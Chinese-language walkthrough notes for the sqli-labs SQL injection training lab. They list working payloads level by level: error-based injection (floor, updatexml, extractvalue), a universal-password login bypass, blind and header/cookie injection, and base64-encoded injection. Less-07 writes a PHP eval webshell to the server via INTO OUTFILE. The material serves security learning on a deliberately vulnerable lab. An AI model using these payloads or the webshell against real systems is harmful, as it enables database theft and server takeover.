Less-01
Less-02
同第一题一样,只是在id传参出少了单引号
Less-03
闭合方式换成了‘)的形式
Less-04
更换闭合方式
Less-05
因为会显示数据库报错,可尝试报错注入
1、通过floor报错
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
其中payload为要插入的SQL语句,该语句将输出的字符串限制在64个字符
2、通过updatexml报错
and updatexml(1,payload,1)
同样对输出长度做了限制,最长输出32位,该语句只有在payload返回的不是xml格式才会生效
3、通过extractvalue报错
and extractvalue(1,payload)
输出长度限制32位
在这里使用floor报错语句进行注入
and (select 1 from (select count(*),concat(((select database())),floor(rand(0)*2))x from information_schema.tables group by x)a)
Less-06 同上
Less-07
这一关是通过写入文件getshell
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限,load_file权限默认是不开启的,需要在mysql.ini中有secure_file_priv=
配置文件才可以,与DNS注入一样
into outfile命令使用环境:必须知道,服务器上一个可以写入文件的文件夹的完整路径
查看源码,知道闭合方式是‘))
提示我们使用file权限像服务器写入文件,又是本地搭建的环境,那么直接在本机去一个路径就好了
union select 1,2,3 into outfile"C:\\phpStudy\\WWW\\qwe.php"
虽然报了语句错误,可以访问这个文件试试
文件写入成功,那么直接写入一句话木马
union select 1,"<?php @eval($_REQUEST['a']);?>",3 into outfile"C:\\phpStudy\\WWW\\1.php"
Less-08盲注
Less-09时间盲注
Less-10同上,闭合方式变了
Less-11
使用万能密码’ or 1=1#
Less-12 同上
Less-13报错
报错注入
or (select 1 from (select count(*),concat(((select database())),floor(rand(0)*2))x from information_schema.tables group by x)a)
Less-14同上
只是闭合方式的变化
Less-15盲注
or length(database())=8#
Less-16同上
Less-17报错
用updatexml报错注入
or updatexml(1,concat(0x7e,(select database()),0x7e),0)
Less-18HEAD头注入
在请求头user_agent处注入
Less-19
这里获取refer请求头的数据,同上
Less-20
获取了cookie处uname的值,在cookie处注入
Lees-21 base64编码注入
将注入语句进行base64编码,然后用编码后的字符串注入
测试发现,用网上的编码工具不管用,还是需要自己写一段代码进行编译
<?php $a=base64_encode("') union select 1,2,database()#"); echo $a; ?>
Less-22同上
Less-23
虽然注释被过滤了,但是可以用union select 1,2,database() ‘
Less-24 二次注入
在登录页面login.php,用了mysql_real_escape_string
函数进行转义,编码如果不是GBK宽字节注入,这里是不会有注入点了